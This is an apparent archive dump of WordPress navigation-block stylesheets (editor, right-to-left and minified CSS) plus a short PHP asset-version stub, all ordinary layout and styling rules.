opacity: 1; overflow: visible; } .wp-block-navigation__container, .wp-block-navigation-item { background-color: inherit; } .wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover > .wp-block-navigation__submenu-container { opacity: 0; visibility: hidden; } .has-child.is-selected > .wp-block-navigation__submenu-container, .has-child.has-child-selected > .wp-block-navigation__submenu-container { display: flex; opacity: 1; visibility: visible; } .is-dragging-components-draggable .has-child.is-dragging-within > .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; } .is-editing > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container { opacity: 1; visibility: hidden; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container .block-editor-block-draggable-chip-wrapper { visibility: visible; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender { display: block; position: static; width: 100%; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender .block-editor-button-block-appender { color: #fff; background: #1e1e1e; padding: 0; width: 24px; border-radius: 2px; margin-right: 0; margin-left: auto; } .wp-block-navigation__submenu-container .block-list-appender { display: none; } /** * Colors Selector component */ .block-library-colors-selector { width: auto; } .block-library-colors-selector .block-library-colors-selector__toggle { display: block; margin: 0 auto; padding: 3px; width: auto; } .block-library-colors-selector .block-library-colors-selector__icon-container { height: 30px; position: relative; margin: 0 auto; padding: 3px; display: flex; align-items: center; border-radius: 4px; } .block-library-colors-selector .block-library-colors-selector__state-selection { margin-left: auto; margin-right: auto; border-radius: 11px; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); width: 22px; min-width: 22px; height: 22px; min-height: 22px; line-height: 20px; padding: 2px; } .block-library-colors-selector .block-library-colors-selector__state-selection > svg { min-width: auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg, .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg path { color: inherit; } .block-library-colors-selector__popover .color-palette-controller-container { padding: 16px; } .block-library-colors-selector__popover .components-base-control__label { height: 20px; line-height: 20px; } .block-library-colors-selector__popover .component-color-indicator { float: right; margin-top: 2px; } .block-library-colors-selector__popover .components-panel__body-title { display: none; } .wp-block-navigation .block-editor-button-block-appender { background-color: #1e1e1e; color: #fff; } .wp-block-navigation .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender { padding: 0; } .wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender { background-color: transparent; color: #1e1e1e; } /** * Setup state */ @keyframes loadingpulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } .components-placeholder.wp-block-navigation-placeholder { outline: none; padding: 0; box-shadow: none; background: none; min-height: 0; color: inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset { font-size: inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button { margin-bottom: 0; } .wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder { color: #1e1e1e; } .wp-block-navigation-placeholder .components-spinner { margin-top: 0; } .wp-block-navigation-placeholder__preview { display: flex; align-items: center; min-width: 96px; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: currentColor; background: transparent; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview { display: none; } .wp-block-navigation-placeholder__preview::before { content: ""; display: block; position: absolute; top: 0; right: 0; bottom: 0; left: 0; border: 1px dashed currentColor; opacity: 0.4; pointer-events: none; border-radius: inherit; } .wp-block-navigation-placeholder__preview > svg { fill: currentColor; opacity: 0.4; } .wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset, .wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset { min-height: 90px; } .wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset { min-height: 132px; } .wp-block-navigation-placeholder__preview, .wp-block-navigation-placeholder__controls { padding: 6px 8px; flex-direction: row; align-items: flex-start; } .wp-block-navigation-placeholder__controls { border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; display: none; position: relative; z-index: 1; float: left; width: 100%; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls { display: flex; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr { display: none; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions { flex-direction: column; align-items: flex-start; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr { display: none; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon { margin-right: 12px; height: 36px; } .wp-block-navigation-placeholder__actions__indicator { display: flex; padding: 0 6px 0 0; align-items: center; justify-content: flex-start; line-height: 0; height: 36px; margin-left: 4px; } .wp-block-navigation-placeholder__actions__indicator svg { margin-right: 4px; fill: currentColor; } .wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset { flex-direction: row !important; } .wp-block-navigation-placeholder__actions { display: flex; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; gap: 6px; align-items: center; height: 100%; } .wp-block-navigation-placeholder__actions .components-dropdown, .wp-block-navigation-placeholder__actions > .components-button { margin-right: 0; } .wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr { border: 0; min-height: 1px; min-width: 1px; background-color: #1e1e1e; margin: auto 0; height: 100%; max-height: 16px; } /** * Mobile menu. */ @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close { display: none; } } .wp-block-navigation__responsive-container.is-menu-open { position: fixed; top: 155px; } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { top: 93px; } } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { left: 36px; } } @media (min-width: 960px) { .wp-block-navigation__responsive-container.is-menu-open { left: 160px; } } @media (min-width: 782px) { .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open { top: 141px; } } .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 141px; } .is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open { right: 280px; } .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { left: 0; top: 155px; } @media (min-width: 782px) { .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { top: 61px; } } @media (min-width: 782px) { .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open { top: 109px; } } .is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 109px; } body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open { top: 0; right: 0; bottom: 0; left: 0; } @media (min-width: 600px) { .wp-block-navigation__responsive-close { pointer-events: none; } .wp-block-navigation__responsive-close .wp-block-navigation__responsive-container-close, .wp-block-navigation__responsive-close .block-editor-block-list__layout * { pointer-events: all; } } .wp-block-navigation__responsive-close .wp-block-pages-list__item__link { pointer-events: none; } .components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open, .components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close { padding: 0; height: auto; color: inherit; } .is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender { margin-top: 16px; } @keyframes fadein { 0% { opacity: 0; } 100% { opacity: 1; } } .wp-block-navigation .components-spinner { padding: 8px 12px; } .wp-block-navigation__unsaved-changes { position: relative; } .wp-block-navigation__unsaved-changes .components-spinner { position: absolute; top: calc(50% - 16px / 2); left: calc(50% - 16px / 2); opacity: 0; animation: 0.5s linear 2s normal forwards fadein; } @keyframes fadeouthalf { 0% { opacity: 1; } 100% { opacity: 0.5; } } .wp-block-navigation__unsaved-changes-overlay.is-saving { opacity: 1; animation: 0.5s linear 2s normal forwards fadeouthalf; } .wp-block-navigation-delete-menu-button { width: 100%; justify-content: center; margin-bottom: 16px; } .wp-block-navigation__overlay-menu-preview { display: flex; align-items: center; width: 100%; background-color: #f0f0f0; padding: 0 24px; height: 64px; margin-bottom: 12px; } .wp-block-navigation__overlay-menu-preview.open { box-shadow: inset 0 0 0 1px #e0e0e0; outline: 1px solid transparent; background-color: #fff; } .wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty { display: none; } .wp-block-navigation-placeholder__actions hr + hr { display: none; }blocks/navigation/style-rtl.css000064400000042341147177035020012643 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation { position: relative; --navigation-layout-justification-setting: flex-start; --navigation-layout-direction: row; --navigation-layout-wrap: wrap; --navigation-layout-justify: flex-start; --navigation-layout-align: center; } .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-right: 0; padding-right: 0; } .wp-block-navigation ul, .wp-block-navigation ul li { list-style: none; padding: 0; } .wp-block-navigation .wp-block-navigation-item { display: flex; align-items: center; position: relative; } .wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty { display: none; } .wp-block-navigation .wp-block-navigation-item__content { color: inherit; display: block; padding: 0; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content { text-decoration: underline; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active { text-decoration: underline; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content { text-decoration: line-through; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active { text-decoration: line-through; } .wp-block-navigation:where(:not([class*="has-text-decoration"])) a { text-decoration: none; } .wp-block-navigation:where(:not([class*="has-text-decoration"])) a:focus, .wp-block-navigation:where(:not([class*="has-text-decoration"])) a:active { text-decoration: none; } .wp-block-navigation .wp-block-navigation__submenu-icon { align-self: center; line-height: 0; display: inline-block; font-size: inherit; padding: 0; background-color: inherit; color: currentColor; border: none; width: 0.6em; height: 0.6em; margin-right: 0.25em; } .wp-block-navigation .wp-block-navigation__submenu-icon svg { display: inline-block; stroke: currentColor; width: inherit; height: inherit; margin-top: 0.075em; } .wp-block-navigation.is-vertical { --navigation-layout-direction: column; --navigation-layout-justify: initial; --navigation-layout-align: flex-start; } .wp-block-navigation.no-wrap { --navigation-layout-wrap: nowrap; } .wp-block-navigation.items-justified-center { --navigation-layout-justification-setting: center; --navigation-layout-justify: center; } .wp-block-navigation.items-justified-center.is-vertical { --navigation-layout-align: center; } .wp-block-navigation.items-justified-right { --navigation-layout-justification-setting: flex-end; --navigation-layout-justify: flex-end; } .wp-block-navigation.items-justified-right.is-vertical { --navigation-layout-align: flex-end; } .wp-block-navigation.items-justified-space-between { --navigation-layout-justification-setting: space-between; --navigation-layout-justify: space-between; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) { background-color: inherit; color: inherit; position: absolute; z-index: 2; display: flex; flex-direction: column; align-items: normal; opacity: 0; transition: opacity 0.1s linear; visibility: hidden; width: 0; height: 0; overflow: hidden; right: -1px; top: 100%; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) > .wp-block-navigation-item > .wp-block-navigation-item__content { display: flex; flex-grow: 1; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) > .wp-block-navigation-item > .wp-block-navigation-item__content .wp-block-navigation__submenu-icon { margin-left: 0; margin-right: auto; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content { margin: 0; } @media (min-width: 782px) { .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container { right: 100%; top: -1px; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container::before { content: ""; position: absolute; left: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon { margin-left: 0.25em; } .wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon svg { transform: rotate(90deg); } } .wp-block-navigation .has-child:where(:not(.open-on-click)):hover > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation .has-child:where(:not(.open-on-click):not(.open-on-hover-click)):focus-within > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true] ~ .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container { right: 0; top: 100%; } @media (min-width: 782px) { .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: 100%; top: 0; } } .wp-block-navigation-submenu { position: relative; display: flex; } .wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg { stroke: currentColor; } button.wp-block-navigation-item__content { background-color: transparent; border: none; color: currentColor; font-size: inherit; font-family: inherit; line-height: inherit; font-style: inherit; font-weight: inherit; text-transform: inherit; text-align: right; } .wp-block-navigation-submenu__toggle { cursor: pointer; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle { padding-left: 0.85em; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle + .wp-block-navigation__submenu-icon { margin-right: -0.6em; pointer-events: none; } /** * Margins */ .wp-block-navigation__responsive-container, .wp-block-navigation__responsive-close, .wp-block-navigation__responsive-dialog, .wp-block-navigation, .wp-block-navigation .wp-block-page-list, .wp-block-navigation__container, .wp-block-navigation__responsive-container-content { gap: inherit; } .wp-block-navigation:where(.has-background), .wp-block-navigation:where(.has-background) .wp-block-navigation .wp-block-page-list, .wp-block-navigation:where(.has-background) .wp-block-navigation__container { gap: inherit; } /** * Paddings */ .wp-block-navigation:where(.has-background) .wp-block-navigation-item__content { padding: 0.5em 1em; } .wp-block-navigation :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content { padding: 0.5em 1em; } /** * Justifications. */ .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container { right: auto; left: 0; } .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: -1px; left: -1px; } @media (min-width: 782px) { .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > .wp-block-navigation__container > .has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-page-list > .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: auto; left: 100%; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container { background-color: #fff; color: #000; border: 1px solid rgba(0, 0, 0, 0.15); } .wp-block-navigation__container { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); list-style: none; margin: 0; padding-right: 0; } .wp-block-navigation__container .is-responsive { display: none; } .wp-block-navigation__container:only-child, .wp-block-page-list:only-child { flex-grow: 1; } /** * Mobile menu. */ .wp-block-navigation__responsive-container { display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; } .wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content { display: flex; flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); } .wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open) { color: inherit !important; background-color: inherit !important; } .wp-block-navigation__responsive-container.is-menu-open { display: flex; flex-direction: column; background-color: inherit; padding: 2rem; overflow: auto; z-index: 100000; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content { padding-top: calc(2rem + 24px); overflow: visible; display: flex; flex-direction: column; flex-wrap: nowrap; align-items: var(--navigation-layout-justification-setting, inherit); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container { justify-content: flex-start; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon { display: none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .submenu-container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; height: auto; width: auto; overflow: initial; min-width: 200px; position: static; border: none; padding-right: 2rem; padding-left: 2rem; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container { gap: inherit; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container { padding-top: var(--wp--style--block-gap, 2em); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content { padding: 0; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list { display: flex; flex-direction: column; align-items: var(--navigation-layout-justification-setting, initial); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container, .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item, .wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list { color: inherit !important; background: transparent !important; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { left: auto; right: auto; } @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) { display: block; width: 100%; position: relative; z-index: auto; background-color: inherit; } .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close { display: none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container { right: 0; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open { background-color: #fff; color: #000; } .wp-block-navigation__toggle_button_label { font-size: 1rem; font-weight: bold; } .wp-block-navigation__responsive-container-open, .wp-block-navigation__responsive-container-close { vertical-align: middle; cursor: pointer; color: currentColor; background: transparent; border: none; margin: 0; padding: 0; } .wp-block-navigation__responsive-container-open svg, .wp-block-navigation__responsive-container-close svg { fill: currentColor; pointer-events: none; display: block; width: 24px; height: 24px; } .wp-block-navigation__responsive-container-open { display: flex; } @media (min-width: 600px) { .wp-block-navigation__responsive-container-open:not(.always-shown) { display: none; } } .wp-block-navigation__responsive-container-close { position: absolute; top: 0; left: 0; z-index: 2; } .wp-block-navigation__responsive-close { width: 100%; } .wp-block-navigation__responsive-close:focus { outline: none; } .is-menu-open .wp-block-navigation__responsive-close, .is-menu-open .wp-block-navigation__responsive-dialog, .is-menu-open .wp-block-navigation__responsive-container-content { box-sizing: border-box; } .wp-block-navigation__responsive-dialog { position: relative; } html.has-modal-open { overflow: hidden; }blocks/navigation/view-modal.min.asset.php000064400000000124147177035020014640 0ustar00 array(), 'version' => 'b478fa3cd1475dec97d3'); blocks/navigation/editor.min.css000064400000024241147177035020012753 0ustar00.editor-styles-wrapper .wp-block-navigation ul{margin-top:0;margin-bottom:0;margin-left:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation__container.is-parent-of-selected-block{visibility:visible;opacity:1;overflow:visible}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{color:#fff;background:#1e1e1e;padding:0;width:24px;border-radius:2px;margin-right:0;margin-left:auto}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{height:30px;position:relative;margin:0 auto;padding:3px;display:flex;align-items:center;border-radius:4px}.block-library-colors-selector .block-library-colors-selector__state-selection{margin-left:auto;margin-right:auto;border-radius:11px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);width:22px;min-width:22px;height:22px;min-height:22px;line-height:20px;padding:2px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:transparent;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{outline:none;padding:0;box-shadow:none;background:none;min-height:0;color:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder .components-spinner{margin-top:0}.wp-block-navigation-placeholder__preview{display:flex;align-items:center;min-width:96px;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:currentColor;background:transparent}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{content:"";display:block;position:absolute;top:0;right:0;bottom:0;left:0;border:1px dashed;opacity:.4;pointer-events:none;border-radius:inherit}.wp-block-navigation-placeholder__preview>svg{fill:currentColor;opacity:.4}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{padding:6px 8px;flex-direction:row;align-items:flex-start}.wp-block-navigation-placeholder__controls{border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;position:relative;z-index:1;float:left;width:100%}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{flex-direction:column;align-items:flex-start}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{margin-right:12px;height:36px}.wp-block-navigation-placeholder__actions__indicator{display:flex;padding:0 6px 0 0;align-items:center;justify-content:flex-start;line-height:0;height:36px;margin-left:4px}.wp-block-navigation-placeholder__actions__indicator svg{margin-right:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{display:flex;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;gap:6px;align-items:center;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{border:0;min-height:1px;min-width:1px;background-color:#1e1e1e;margin:auto 0;height:100%;max-height:16px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{top:93px;left:36px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{right:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}}@media (min-width:782px){.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper 